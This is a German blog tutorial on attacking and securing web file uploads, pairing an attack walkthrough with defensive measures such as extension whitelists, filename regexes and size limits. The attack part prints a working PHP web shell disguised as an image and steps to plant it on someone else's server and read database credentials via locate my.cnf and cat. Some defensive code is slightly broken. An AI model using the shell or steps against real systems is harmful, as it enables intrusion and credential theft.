Upload hacken – Macht über Server erlangen

Datei Upload Malware Steffen Lippke Hacking Series

Schon mal überlegt, was mit Deinen Dateien geschiet, wenn Du diese im Internet hochlädst?

Hacker können Trojanische Pferde bauen, die getarnt als Bild auf Deinem Server Schaden anrichten können.

Dieses Tutorial soll die Probleme und Lösungen des Dateiuploads darstellen.

Aufgabe: Macht über einen Server erlangen

Um was geht’s? – Die Schattenseite des Dateiuploads

Ein weiterer beliebter Zugang für Hacker Deiner Webseite sind die Datei-Uploads:

Die Upload-Möglichkeit nutzen viele Webseiten zu der Erweiterung und Verbesserung ihres Kontaktformulars, für Bilder auf Verkaufsplattformen, zum Teilen auf Sozialen Medien oder in Foren für Profile.

Die Upload-Funktionen können Angreifer dafür missbrauchen andere Dateien hochzuladen. Schad-Scripts und Batchdateien sollen Deinen Server lahmlegen, die Daten löschen oder Deine Nutzerdaten abfangen.

Grundlagen: Hacking mit Upload

Terminal einfach erklärt

Für den Upload-Hack brauchen wir im ersten Schritt ein paar Grundlagen im Linux Terminal.

Terminals sind die Vorgänger der graphischen Oberfläche mit Maus, Bild und Animation. Vor Windows existierten fast nur textbasierte Computer, die nicht mit perfekt gerenderten 3D-Games glänzen konnten. In einem Terminal bekommt der Anwender „nur Text“ ausgegeben.

Über einem Terminal kann der Programmierer wesentlich mehr Funktionen und Features von Programmen ansprechen. Dazu fügt der Anwender z. B. zum Start eines Programms Start-Parameter hinzu.

Einführung in Shell in Linux Systemen

Lade im  ersten Schritt die Git Bash (mit Git) eine gescheite Kommandozeile für Windows herunter. Alternativ nutze Dein Linux Terminal. Das erste was Du beim Start des Termianl siehst, sieht so ähnlich aus:

benuzterName@RechnerName: ~$

Gebe mal „ls“ in die Kommandozeile ein.

benuzterName@RechnerName: ~$ ls

Das „ls“ Kommando gibt die Dateinamen in diesem (HOME-)Verzeichnis aus. Noch ein paar weitere Befehle

cd Desktop       Wechsle das Verzeichnis zu Desktop

11 Kostenlose Exklusive App Dev Tipps

Deine Mail für Zugang zu praxisnahe App Entwicklung Tipps zu erhalten

cd ..            Gehe einen Ordner „höher“ – dein Benutzer Ordner

java             Start von Programmen nur durch den Namen

./nameProg      Wenn das Programm nicht in diesem Verzeichnis sich befindet, dann navigiert mit cd dort hin

java –r          Start eines Programms + ein Argument / Parameter für die Ausführung

Noch mehr zu Terminalbefehlen und –nutzung kannst Du unter guide.bash.academy kennenleren.

 

Hack IT: Kommandos an Remote Server weitergeben

ATTACKE! – Blick in den Code

In dieses Tutorial wollen wir als Ziel einen Server über den Datei-Upload zu hacken und in 8 Schritten in unseren Besitz nehmen:

  1. Um Deine Terminalbefehle an einen Remote-Server weiterzugeben, der Dir nicht gehört müssen wir uns eine „Brücke“ bauen. Eine simple PHP-Datei getarnt als ein .jpg kann eine Verbindung mit der entfernten Kommandozeile herstellen.

<?php
if(isset($_REQUEST['kommando'])) {
$commandoline = ($_REQUEST['kommando']);
system($commandoline);
} else {
echo "Befehl eingeben!";
}?>

  1. Wir schalten im Browser unser JavaScript aus, sodass der Browser nicht client-seitig die Datei überprüfen kann. Ohne JavaScript umgeben wir die erste Sicherheitsbarriere für den Datei-Upload.
  2. Dann suchen wir uns einen Datei-Pfad einer ähnlichen Datei heraus. Ich erkläre, das Verfahren an dem Bespiel Profilbilder. Die Profilbilder können die Nutzer in den Foren oder im Chat hochladen
    1. Suche Dir ein Profilbild eines beliebigen Benutzers aus
    2. Klicke mit der rechten Maustaste auf das Bild
    3. dann auf Element untersuchen (Firefox)
    4. Kopiere den Link aus dem img-Tag (Attribut: src)
  3. Das Ergebnis könnte so aussehen:
    https://tollesforum.de/commons/thumb/profilbild.png
    Unsere „böse“ Datei finden wir wahrscheinlich im gleichen Ordner und geben den gleichen Ordner an.
    https://tollesforum.de/commons/thumb/hack.php
  4. Rufe die Datei im Browser auf und füge einen GET-Parameter an die URL ?kommando=
  5. Das Kommando Locate+my.cnf nennt Dir den Ort zu einer Passwortdatei.
  6. Navigiere zur dem Pfad der angezeigten Datei mit cat /PFAD/ZUR/DATEI.
  7. Der Browser gibt Dir sensible Daten wie Passwörter und Benutzernamen für Datenbanken heraus.

Sicherung: Bau einer Festung gegen Schadcode

Sicherungsmaßnahme

Dieses Tutorial hat klargestellt, dass der Webseitenbesitzter nicht die Tür für Hacker mit einem Upload öffnen sollten. Eine vorsichtiger Programmierer sollte gegen Schadcode-Upload tiefe Gräben graben und Stacheldraht verlegen.

Normale Nutzer sollen weiterhin ihre eignen Bilder hochladen können.

Black- und Whitelisten – Effektiv

Beginnen wir folgende Dateien zu blacklisten: „.phtml“, „.shtml“, „.asa“, „.php5″,“.swf“, „.xap““.pht“, „.cer“,  „.asax“,

$file_parts = pathinfo($filename);
switch($file_parts['extension'])
{
case "jpg": // Ist ok
uploadData();
break;
case "":   // Dateinamen die mit dem Punkt enden
exit();
break;
default:  // Wirft den anderen Mist heraus
exit();
break;
}

Alle Datei mit „Fake-Doppelendung“ (hackeDichArm.php.jpg) sollen nicht auf dem Server hochladbar sein. Außerdem denke daran, dass UNIX zwischen Groß- und Kleinschreibung unterscheidet – ein hackeAlles.php ist nicht gleich zusetzen mit hackeAlles.PhP.

 

Dateinamen könne böse sein

Ein Regex (Regular expression, dt. Regulärer Ausdruck) kann Dateinamen auf Regularität prüfen. Der Reguläre Ausdruck vermeidet ungewünschte Zeichen wie << , %, +, &….. Lerne Regex und nutzte als Spielweise zum Testen regex101.com

[a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).

var dateinNamenPruefen =(function(){
var regex1=/^[^\\/:\*\?"<>\|]+$/; // darf nicht \ / : * ? " < > |
var regex2=/^\./; // Punkt am anfang verboten
var regex3=/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i; // Blacklisted Dateinamen
return function dateinNamenPruefen (fname){
return regex1.test(fname)&&!regex2.test(fname)&&! regex3.test(fname);
}
})();

dateinNamenPruefen('file name');
Begrenze die Länge des Dateinamens auf 100 Symbole. Warum soll ich auch ein Profibild Mein_wundbares_Profil_Bild_fotografiert_mit_3_Grad_Schräge_und_schlechten_Laecheln.jpg nennen? PHP fängt solche Namen-Würmer ab:
if(strlen($_POST['name']) > 100) { echo "filename to long"; exit; }

Alles zur Dateigröße

Begrenze die Dateigröße auf eine Minimal- (!) und Maximalgröße der Datei (0,05 MB bis 2 MB für ein Profilbild).Die bekannten DoS Attacken können solche Limits einschränken – Auf einen PHP Server kann der Webseitenbesitzer das in der php.ini einstellen:

11 Kostenlose Exklusive App Dev Tipps

Deine Mail für Zugang zu praxisnahe App Entwicklung Tipps zu erhalten

; Maximale Größe der Datei
upload_max_filesize = 40M
; größer oder gleich muss die POST-Anfrage-Größe sein
post_max_size = 40M

Sonstiges gegen bösen Upload

  • Verändere den Dateinamen beim Hochladen. Der Server sollte am besten eine Datumangabe an den Dateinamen anfügen und den ganzen String noch mit MD5 hashen. So können Hacker ihre Datei nicht so einfach wiederfinden.
  • Der CORS Header Access-Control-Allow-Origin soll nur bekannte Quellen für die Webseite enthalten
  • Denke an eine CRSF Token
  • Geheimtipp: Virusscanner sind immer noch die beste Lösungen.

Credits

Icons made by Gregor Cresnar from www.flaticon.com is licensed by CC 3.0 BY  – Icons made by dDara from www.flaticon.com is licensed by CC 3.0 BY – Icons made by Icomoon from www.flaticon.com is licensed by CC 3.0 BY –Icons made by Those Icons from www.flaticon.com is licensed by CC 3.0 BY

Sichere Dir den kompletten
Fundamental Ionic Course

Die kostenlosen Tutorials sind ein Ausschnitt
aus dem Fudamental Ionic Course by Steffen Lippke.

Schon 4832 erfolgreiche Absolventen

  • Code Downloads + umfangreiche Lösungen + Dateien für Grundlagen zum Coden
  • Visuelle Beschreibungen mit HD+ Screenshots und Hilfen
  • Steffen's Clean Code - Erweiterung - Verbesserungs - Tipps
 

100 h Kurslänge | 100 % Geld-Zurück-Garantie | Live-Support

 
1 Star2 Stars3 Stars4 Stars5 Stars (1 votes, average: 5,00 out of 5)
Loading...

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.